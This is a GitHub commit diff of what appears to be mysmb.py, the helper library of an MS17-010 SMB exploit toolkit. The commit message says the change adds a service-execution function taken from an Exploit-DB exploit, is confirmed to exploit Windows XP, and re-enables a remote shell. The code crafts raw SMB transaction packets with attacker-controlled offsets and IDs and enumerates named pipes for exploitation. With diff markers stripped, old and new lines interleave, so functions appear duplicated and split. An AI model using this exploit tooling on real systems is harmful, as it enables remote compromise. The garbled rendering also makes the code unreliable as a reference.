Corrections for byte literals, spacing, minor function change, and updated the examples. (#22)

* Force byte literals where required and corrected the string.ascii_letters(). Also corrected
the spacing to conform to the Python style guide (4 spaces and not tabs).

* Force byte literals where required and removed all trailing whitespace. Added
service_exec() from https://www.exploit-db.com/exploits/42315 and updated the
examples in do_system_mysmb_session(). Confirmed to successfully exploit
Windows XP.

* Uncomment the RemoteShell() as it is confirmed to work by the upstream author.
This commit is contained in:
Derrick Karpo
2020-10-24 15:27:53 -04:00
committed by GitHub
parent 4381d6a643
commit cae955e995
2 changed files with 482 additions and 409 deletions
+336 -338
View File
@@ -12,416 +12,415 @@ import logging
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
############# SMB_COM_TRANSACTION_SECONDARY (0x26)
class SMBTransactionSecondary_Parameters(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
)
# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
)
############# SMB_COM_NT_TRANSACTION_SECONDARY (0xA1)
class SMBNTTransactionSecondary_Parameters(smb.SMBCommand_Parameters):
structure = (
('Reserved1','3s=""'),
('TotalParameterCount','<L'),
('TotalDataCount','<L'),
('ParameterCount','<L'),
('ParameterOffset','<L'),
('ParameterDisplacement','<L=0'),
('DataCount','<L'),
('DataOffset','<L'),
('DataDisplacement','<L=0'),
('Reserved2','<B=0'),
)
structure = (
('Reserved1','3s=""'),
('TotalParameterCount','<L'),
('TotalDataCount','<L'),
('ParameterCount','<L'),
('ParameterOffset','<L'),
('ParameterDisplacement','<L=0'),
('DataCount','<L'),
('DataOffset','<L'),
('DataDisplacement','<L=0'),
('Reserved2','<B=0'),
)
def _put_trans_data(transCmd, parameters, data, noPad=False):
# have to init offset before calling len()
transCmd['Parameters']['ParameterOffset'] = 0
transCmd['Parameters']['DataOffset'] = 0
# SMB header: 32 bytes
# WordCount: 1 bytes
# ByteCount: 2 bytes
# Note: Setup length is included when len(param) is called
offset = 32 + 1 + len(transCmd['Parameters']) + 2
transData = ''
if len(parameters):
padLen = 0 if noPad else (4 - offset % 4 ) % 4
transCmd['Parameters']['ParameterOffset'] = offset + padLen
transData = ('\x00' * padLen) + parameters
offset += padLen + len(parameters)
if len(data):
padLen = 0 if noPad else (4 - offset % 4 ) % 4
transCmd['Parameters']['DataOffset'] = offset + padLen
transData += ('\x00' * padLen) + data
transCmd['Data'] = transData
# have to init offset before calling len()
transCmd['Parameters']['ParameterOffset'] = 0
transCmd['Parameters']['DataOffset'] = 0
# SMB header: 32 bytes
# WordCount: 1 bytes
# ByteCount: 2 bytes
# Note: Setup length is included when len(param) is called
offset = 32 + 1 + len(transCmd['Parameters']) + 2
transData = b''
if len(parameters):
padLen = 0 if noPad else (4 - offset % 4 ) % 4
transCmd['Parameters']['ParameterOffset'] = offset + padLen
transData = (b'\x00' * padLen) + parameters
offset += padLen + len(parameters)
if len(data):
padLen = 0 if noPad else (4 - offset % 4 ) % 4
transCmd['Parameters']['DataOffset'] = offset + padLen
transData += (b'\x00' * padLen) + data
transCmd['Data'] = transData
origin_NewSMBPacket_addCommand = getattr(smb.NewSMBPacket, "addCommand")
login_MaxBufferSize = 61440
def NewSMBPacket_addCommand_hook_login(self, command):
# restore NewSMBPacket.addCommand
setattr(smb.NewSMBPacket, "addCommand", origin_NewSMBPacket_addCommand)
if isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Extended_Parameters):
command['Parameters']['MaxBufferSize'] = login_MaxBufferSize
elif isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Parameters):
command['Parameters']['MaxBuffer'] = login_MaxBufferSize
# call original one
origin_NewSMBPacket_addCommand(self, command)
# restore NewSMBPacket.addCommand
setattr(smb.NewSMBPacket, "addCommand", origin_NewSMBPacket_addCommand)
if isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Extended_Parameters):
command['Parameters']['MaxBufferSize'] = login_MaxBufferSize
elif isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Parameters):
command['Parameters']['MaxBuffer'] = login_MaxBufferSize
# call original one
origin_NewSMBPacket_addCommand(self, command)
def _setup_login_packet_hook(maxBufferSize):
# setup hook for next NewSMBPacket.addCommand if maxBufferSize is not None
if maxBufferSize is not None:
global login_MaxBufferSize
login_MaxBufferSize = maxBufferSize
setattr(smb.NewSMBPacket, "addCommand", NewSMBPacket_addCommand_hook_login)
# setup hook for next NewSMBPacket.addCommand if maxBufferSize is not None
if maxBufferSize is not None:
global login_MaxBufferSize
login_MaxBufferSize = maxBufferSize
setattr(smb.NewSMBPacket, "addCommand", NewSMBPacket_addCommand_hook_login)
class MYSMB(smb.SMB):
def __init__(self, remote_host, use_ntlmv2=True, timeout=8):
self.__use_ntlmv2 = use_ntlmv2
self._default_tid = 0
self._pid = os.getpid() & 0xffff
self._last_mid = random.randint(1000, 20000)
if 0x4000 <= self._last_mid <= 0x4110:
self._last_mid += 0x120
self._pkt_flags2 = 0
self._last_tid = 0 # last tid from connect_tree()
self._last_fid = 0 # last fid from nt_create_andx()
self._smbConn = None
smb.SMB.__init__(self, remote_host, remote_host, timeout=timeout)
def __init__(self, remote_host, use_ntlmv2=True, timeout=8):
self.__use_ntlmv2 = use_ntlmv2
self._default_tid = 0
self._pid = os.getpid() & 0xffff
self._last_mid = random.randint(1000, 20000)
if 0x4000 <= self._last_mid <= 0x4110:
self._last_mid += 0x120
self._pkt_flags2 = 0
self._last_tid = 0 # last tid from connect_tree()
self._last_fid = 0 # last fid from nt_create_andx()
self._smbConn = None
smb.SMB.__init__(self, remote_host, remote_host, timeout=timeout)
def find_named_pipe(self, firstOnly=True):
pipes_file = '/usr/share/metasploit-framework/data/wordlists/named_pipes.txt'
try:
with open(pipes_file) as f:
pipes = [ x.strip() for x in f.readlines()]
except IOError as e:
print("[-] Could not open {}, trying hardcoded values".format(pipes_file))
pipes = [ 'netlogon', 'lsarpc', 'samr', 'browser', 'spoolss', 'atsvc', 'DAV RPC SERVICE', 'epmapper', 'eventlog', 'InitShutdown', 'keysvc', 'lsass', 'LSM_API_service', 'ntsvcs', 'plugplay', 'protected_storage', 'router', 'SapiServerPipeS-1-5-5-0-70123', 'scerpc', 'srvsvc', 'tapsrv', 'trkwks', 'W32TIME_ALT', 'wkssvc','PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 'db2remotecmd' ]
tid = self.tree_connect_andx('\\\\'+self.get_remote_host()+'\\'+'IPC$')
found_pipes = []
for pipe in pipes:
try:
fid = self.nt_create_andx(tid, pipe)
self.close(tid, fid)
found_pipes.append(pipe)
print("[+] Found pipe '{}'".format(pipe))
if firstOnly:
break
except smb.SessionError as e:
pass
self.disconnect_tree(tid)
if len(found_pipes) > 0:
return found_pipes[0]
else:
return None
def find_named_pipe(self, firstOnly=True):
pipes_file = '/usr/share/metasploit-framework/data/wordlists/named_pipes.txt'
try:
with open(pipes_file) as f:
pipes = [ x.strip() for x in f.readlines()]
except IOError as e:
print("[-] Could not open {}, trying hardcoded values".format(pipes_file))
pipes = [ 'netlogon', 'lsarpc', 'samr', 'browser', 'spoolss', 'atsvc', 'DAV RPC SERVICE', 'epmapper', 'eventlog', 'InitShutdown', 'keysvc', 'lsass', 'LSM_API_service', 'ntsvcs', 'plugplay', 'protected_storage', 'router', 'SapiServerPipeS-1-5-5-0-70123', 'scerpc', 'srvsvc', 'tapsrv', 'trkwks', 'W32TIME_ALT', 'wkssvc','PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 'db2remotecmd' ]
tid = self.tree_connect_andx('\\\\'+self.get_remote_host()+'\\'+'IPC$')
found_pipes = []
for pipe in pipes:
try:
fid = self.nt_create_andx(tid, pipe)
self.close(tid, fid)
found_pipes.append(pipe)
print("[+] Found pipe '{}'".format(pipe))
if firstOnly:
break
except smb.SessionError as e:
pass
self.disconnect_tree(tid)
if len(found_pipes) > 0:
return found_pipes[0]
else:
return None
def set_pid(self, pid):
self._pid = pid
def set_pid(self, pid):
self._pid = pid
def get_pid(self):
return self._pid
def get_pid(self):
return self._pid
def set_last_mid(self, mid):
self._last_mid = mid
def set_last_mid(self, mid):
self._last_mid = mid
def next_mid(self):
self._last_mid += random.randint(1, 20)
if 0x4000 <= self._last_mid <= 0x4110:
self._last_mid += 0x120
return self._last_mid
def next_mid(self):
self._last_mid += random.randint(1, 20)
if 0x4000 <= self._last_mid <= 0x4110:
self._last_mid += 0x120
return self._last_mid
def get_smbconnection(self):
if self._smbConn is None:
self.smbConn = smbconnection.SMBConnection(self.get_remote_host(), self.get_remote_host(), existingConnection=self)
return self.smbConn
def get_smbconnection(self):
if self._smbConn is None:
self.smbConn = smbconnection.SMBConnection(self.get_remote_host(), self.get_remote_host(), existingConnection=self)
return self.smbConn
def get_dce_rpc(self, named_pipe):
smbConn = self.get_smbconnection()
rpctransport = transport.SMBTransport(self.get_remote_host(), self.get_remote_host(), filename='\\'+named_pipe, smb_connection=smbConn)
return rpctransport.get_dce_rpc()
def get_dce_rpc(self, named_pipe):
smbConn = self.get_smbconnection()
rpctransport = transport.SMBTransport(self.get_remote_host(), self.get_remote_host(), filename='\\'+named_pipe, smb_connection=smbConn)
return rpctransport.get_dce_rpc()
# override SMB.neg_session() to allow forcing ntlm authentication
def neg_session(self, extended_security=True, negPacket=None):
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
# override SMB.neg_session() to allow forcing ntlm authentication
def neg_session(self, extended_security=True, negPacket=None):
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
# to use any login method, SMB must not be used from multiple thread
def login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None):
_setup_login_packet_hook(maxBufferSize)
smb.SMB.login(self, user, password, domain, lmhash, nthash)
# to use any login method, SMB must not be used from multiple thread
def login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None):
_setup_login_packet_hook(maxBufferSize)
smb.SMB.login(self, user, password, domain, lmhash, nthash)
def login_standard(self, user, password, domain='', lmhash='', nthash='', maxBufferSize=None):
_setup_login_packet_hook(maxBufferSize)
smb.SMB.login_standard(self, user, password, domain, lmhash, nthash)
def login_standard(self, user, password, domain='', lmhash='', nthash='', maxBufferSize=None):
_setup_login_packet_hook(maxBufferSize)
smb.SMB.login_standard(self, user, password, domain, lmhash, nthash)
def login_extended(self, user, password, domain='', lmhash='', nthash='', use_ntlmv2=True, maxBufferSize=None):
_setup_login_packet_hook(maxBufferSize)
smb.SMB.login_extended(self, user, password, domain, lmhash, nthash, use_ntlmv2)
def login_extended(self, user, password, domain='', lmhash='', nthash='', use_ntlmv2=True, maxBufferSize=None):
_setup_login_packet_hook(maxBufferSize)
smb.SMB.login_extended(self, user, password, domain, lmhash, nthash, use_ntlmv2)
def connect_tree(self, path, password=None, service=smb.SERVICE_ANY, smb_packet=None):
self._last_tid = smb.SMB.tree_connect_andx(self, path, password, service, smb_packet)
return self._last_tid
def connect_tree(self, path, password=None, service=smb.SERVICE_ANY, smb_packet=None):
self._last_tid = smb.SMB.tree_connect_andx(self, path, password, service, smb_packet)
return self._last_tid
def get_last_tid(self):
return self._last_tid
def get_last_tid(self):
return self._last_tid
def nt_create_andx(self, tid, filename, smb_packet=None, cmd=None, shareAccessMode=smb.FILE_SHARE_READ|smb.FILE_SHARE_WRITE, disposition=smb.FILE_OPEN, accessMask=0x2019f):
self._last_fid = smb.SMB.nt_create_andx(self, tid, filename, smb_packet, cmd, shareAccessMode, disposition, accessMask)
return self._last_fid
def nt_create_andx(self, tid, filename, smb_packet=None, cmd=None, shareAccessMode=smb.FILE_SHARE_READ|smb.FILE_SHARE_WRITE, disposition=smb.FILE_OPEN, accessMask=0x2019f):
self._last_fid = smb.SMB.nt_create_andx(self, tid, filename, smb_packet, cmd, shareAccessMode, disposition, accessMask)
return self._last_fid
def get_last_fid(self):
return self._last_fid
def get_last_fid(self):
return self._last_fid
def set_default_tid(self, tid):
self._default_tid = tid
def set_default_tid(self, tid):
self._default_tid = tid
def set_pkt_flags2(self, flags):
self._pkt_flags2 = flags
def set_pkt_flags2(self, flags):
self._pkt_flags2 = flags
def send_echo(self, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = self._default_tid
def send_echo(self, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = self._default_tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
self.sendSMB(pkt)
return self.recvSMB()
self.sendSMB(pkt)
return self.recvSMB()
def do_write_andx_raw_pipe(self, fid, data, mid=None, pid=None, tid=None):
writeAndX = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)
writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters_Short()
writeAndX['Parameters']['Fid'] = fid
writeAndX['Parameters']['Offset'] = 0
writeAndX['Parameters']['WriteMode'] = 4 # SMB_WMODE_WRITE_RAW_NAMED_PIPE
writeAndX['Parameters']['Remaining'] = 12345 # can be any. raw named pipe does not use it
writeAndX['Parameters']['DataLength'] = len(data)
writeAndX['Parameters']['DataOffset'] = 32 + len(writeAndX['Parameters']) + 1 + 2 + 1 # WordCount(1), ByteCount(2), Padding(1)
writeAndX['Data'] = '\x00' + data # pad 1 byte
self.send_raw(self.create_smb_packet(writeAndX, mid, pid, tid))
return self.recvSMB()
def do_write_andx_raw_pipe(self, fid, data, mid=None, pid=None, tid=None):
writeAndX = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)
writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters_Short()
writeAndX['Parameters']['Fid'] = fid
writeAndX['Parameters']['Offset'] = 0
writeAndX['Parameters']['WriteMode'] = 4 # SMB_WMODE_WRITE_RAW_NAMED_PIPE
writeAndX['Parameters']['Remaining'] = 12345 # can be any. raw named pipe does not use it
writeAndX['Parameters']['DataLength'] = len(data)
writeAndX['Parameters']['DataOffset'] = 32 + len(writeAndX['Parameters']) + 1 + 2 + 1 # WordCount(1), ByteCount(2), Padding(1)
writeAndX['Data'] = '\x00' + data # pad 1 byte
def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None):
if mid is None:
mid = self.next_mid()
pkt = smb.NewSMBPacket()
pkt.addCommand(smbReq)
pkt['Tid'] = self._default_tid if tid is None else tid
pkt['Uid'] = self._uid
pkt['Pid'] = self._pid if pid is None else pid
pkt['Mid'] = mid
flags1, flags2 = self.get_flags()
pkt['Flags1'] = flags1
pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2
if self._SignatureEnabled:
pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)
req = pkt.getData()
return b'\x00'*2 + pack('>H', len(req)) + req
self.send_raw(self.create_smb_packet(writeAndX, mid, pid, tid))
return self.recvSMB()
def send_raw(self, data):
self.get_socket().send(data)
def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None):
if mid is None:
mid = self.next_mid()
def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
if maxSetupCount is None:
maxSetupCount = len(setup)
if totalParameterCount is None:
totalParameterCount = len(param)
if totalDataCount is None:
totalDataCount = len(data)
if maxParameterCount is None:
maxParameterCount = totalParameterCount
if maxDataCount is None:
maxDataCount = totalDataCount
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION)
transCmd['Parameters'] = smb.SMBTransaction_Parameters()
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
transCmd['Parameters']['TotalDataCount'] = totalDataCount
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
transCmd['Parameters']['MaxDataCount'] = maxDataCount
transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
transCmd['Parameters']['Flags'] = 0
transCmd['Parameters']['Timeout'] = 0xffffffff
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['Setup'] = setup
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid, tid)
pkt = smb.NewSMBPacket()
pkt.addCommand(smbReq)
pkt['Tid'] = self._default_tid if tid is None else tid
pkt['Uid'] = self._uid
pkt['Pid'] = self._pid if pid is None else pid
pkt['Mid'] = mid
flags1, flags2 = self.get_flags()
pkt['Flags1'] = flags1
pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2
def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
return self.recvSMB()
if self._SignatureEnabled:
pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)
def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY)
transCmd['Parameters'] = SMBTransactionSecondary_Parameters()
transCmd['Parameters']['TotalParameterCount'] = len(param)
transCmd['Parameters']['TotalDataCount'] = len(data)
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid, tid)
req = pkt.getData()
return b'\x00'*2 + pack('>H', len(req)) + req
def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
def send_raw(self, data):
self.get_socket().send(data)
def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
if maxSetupCount is None:
maxSetupCount = len(setup)
if totalParameterCount is None:
totalParameterCount = len(param)
if totalDataCount is None:
totalDataCount = len(data)
if maxParameterCount is None:
maxParameterCount = totalParameterCount
if maxDataCount is None:
maxDataCount = totalDataCount
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2)
transCmd['Parameters'] = smb.SMBTransaction2_Parameters()
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
transCmd['Parameters']['TotalDataCount'] = totalDataCount
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
transCmd['Parameters']['MaxDataCount'] = maxDataCount
transCmd['Parameters']['MaxSetupCount'] = len(setup)
transCmd['Parameters']['Flags'] = 0
transCmd['Parameters']['Timeout'] = 0xffffffff
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['Setup'] = setup
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid, tid)
def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
if maxSetupCount is None:
maxSetupCount = len(setup)
if totalParameterCount is None:
totalParameterCount = len(param)
if totalDataCount is None:
totalDataCount = len(data)
if maxParameterCount is None:
maxParameterCount = totalParameterCount
if maxDataCount is None:
maxDataCount = totalDataCount
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION)
transCmd['Parameters'] = smb.SMBTransaction_Parameters()
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
transCmd['Parameters']['TotalDataCount'] = totalDataCount
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
transCmd['Parameters']['MaxDataCount'] = maxDataCount
transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
transCmd['Parameters']['Flags'] = 0
transCmd['Parameters']['Timeout'] = 0xffffffff
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['Setup'] = setup
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid, tid)
def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCmd['Parameters'] = SMBTransaction2Secondary_Parameters()
transCmd['Parameters']['TotalParameterCount'] = len(param)
transCmd['Parameters']['TotalDataCount'] = len(data)
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid, tid)
def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
return self.recvSMB()
def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY)
transCmd['Parameters'] = SMBTransactionSecondary_Parameters()
transCmd['Parameters']['TotalParameterCount'] = len(param)
transCmd['Parameters']['TotalDataCount'] = len(data)
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
if maxSetupCount is None:
maxSetupCount = len(setup)
if totalParameterCount is None:
totalParameterCount = len(param)
if totalDataCount is None:
totalDataCount = len(data)
if maxParameterCount is None:
maxParameterCount = totalParameterCount
if maxDataCount is None:
maxDataCount = totalDataCount
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCmd['Parameters'] = smb.SMBNTTransaction_Parameters()
transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
transCmd['Parameters']['TotalDataCount'] = totalDataCount
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
transCmd['Parameters']['MaxDataCount'] = maxDataCount
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['Function'] = function
transCmd['Parameters']['Setup'] = setup
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid, tid)
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid, tid)
def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
return self.recvSMB()
def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY)
transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters()
transCmd['Parameters']['TotalParameterCount'] = len(param)
transCmd['Parameters']['TotalDataCount'] = len(data)
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid, tid)
def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
if maxSetupCount is None:
maxSetupCount = len(setup)
if totalParameterCount is None:
totalParameterCount = len(param)
if totalDataCount is None:
totalDataCount = len(data)
if maxParameterCount is None:
maxParameterCount = totalParameterCount
if maxDataCount is None:
maxDataCount = totalDataCount
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2)
transCmd['Parameters'] = smb.SMBTransaction2_Parameters()
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
transCmd['Parameters']['TotalDataCount'] = totalDataCount
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
transCmd['Parameters']['MaxDataCount'] = maxDataCount
transCmd['Parameters']['MaxSetupCount'] = len(setup)
transCmd['Parameters']['Flags'] = 0
transCmd['Parameters']['Timeout'] = 0xffffffff
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['Setup'] = setup
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid, tid)
def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCmd['Parameters'] = SMBTransaction2Secondary_Parameters()
transCmd['Parameters']['TotalParameterCount'] = len(param)
transCmd['Parameters']['TotalDataCount'] = len(data)
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
def recv_transaction_data(self, mid, minLen):
data = ''
while len(data) < minLen:
recvPkt = self.recvSMB()
if recvPkt['Mid'] != mid:
continue
resp = smb.SMBCommand(recvPkt['Data'][0])
data += resp['Data'][1:] # skip padding
#print(len(data))
return data
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid, tid)
def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
if maxSetupCount is None:
maxSetupCount = len(setup)
if totalParameterCount is None:
totalParameterCount = len(param)
if totalDataCount is None:
totalDataCount = len(data)
if maxParameterCount is None:
maxParameterCount = totalParameterCount
if maxDataCount is None:
maxDataCount = totalDataCount
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCmd['Parameters'] = smb.SMBNTTransaction_Parameters()
